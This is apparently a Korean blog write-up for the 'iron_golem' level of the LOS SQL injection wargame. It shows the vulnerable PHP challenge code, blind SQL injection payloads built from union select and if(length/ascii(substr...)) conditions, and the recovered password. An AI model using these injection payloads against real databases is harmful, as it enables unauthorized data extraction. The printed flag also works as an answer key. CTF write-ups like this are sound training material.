WriteUp/LOS_rubiya

LOS-rubiya : iron_golem

vared 2020. 8. 26. 10:36
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

pw 찾는 문제다 -> 파이썬 파일을 이용해서 질의 해줄 것이고, 이전에 사용했던 파일 재사용해서 쿼리 부분만 바꿀 예정이다.

sleep _ prob ) . () 필터링 당한다.

 

이번에는 거짓 찾기가 어렵다.

union select 이용해서 해야될듯 한다.

 

길이부터 찾아줄까

?pw='or (select 1 union select (if(length(pw)>0,1,0)))%23

 

이러면 1 반환하니까 정상적으로 작동 된다.

길이가 32 .

이제 문자열 찾아주자

?pw='or (select 1 union select (if(ascii(substr(pw,1,1))>0,1,0)))%23

 

 

06b5a6c16e8830475f983cc3a825ee9a